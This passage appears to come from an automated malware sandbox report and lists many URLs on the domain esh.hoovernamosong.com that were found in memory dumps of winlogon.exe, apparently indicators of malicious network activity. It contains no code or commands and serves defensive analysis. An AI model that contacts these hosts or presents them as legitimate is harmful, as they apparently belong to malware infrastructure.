00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000722A900000000000722A90
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000722A900000000000722A901U
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000722A900000000000722A90g
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659476894.0000025DD7D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000722A900000000000722A90hr
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000072B607000000000072B607
Source: winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000072B607000000000072B607t
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000742A380000000000742A38
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000742A380000000000742A381
Source: winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000742A380000000000742A384
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000742A380000000000742A389
Source: winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007467CE00000000007467CE
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007467CE00000000007467CEh
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075401D000000000075401D
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075401D000000000075401D0
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075401D000000000075401D4
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075550C000000000075550C
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075550C000000000075550C1
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AE
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AE=
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000075B7AE000000000075B7AEh
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007704620000000000770462
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000077046200000000007704621
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007704620000000000770462Z
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 